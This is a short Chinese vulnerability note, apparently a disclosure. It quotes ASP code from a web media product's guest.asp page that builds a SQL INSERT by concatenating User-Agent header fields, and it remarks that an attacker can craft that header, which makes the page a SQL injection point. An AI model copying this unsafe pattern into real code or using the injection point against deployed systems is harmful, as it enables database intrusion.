漏洞产生于文件/webmedia/oemui/user/guest.asp，访问这个页面需要注册

相关代码：

    szAgent = Request.ServerVariables("HTTP_USER_AGENT")    aTmpInfo = Split(szAgent, " (", -1, 1)    aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)    szBrowser = aAgentInfo(1)    if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then        szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)    else        szOS = aAgentInfo(2)    end if    szClientIP = Request.ServerVariables("REMOTE_ADDR")    szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')"    con.Execute szSQL

HTTP_USER_AGENT我们可以自己构造
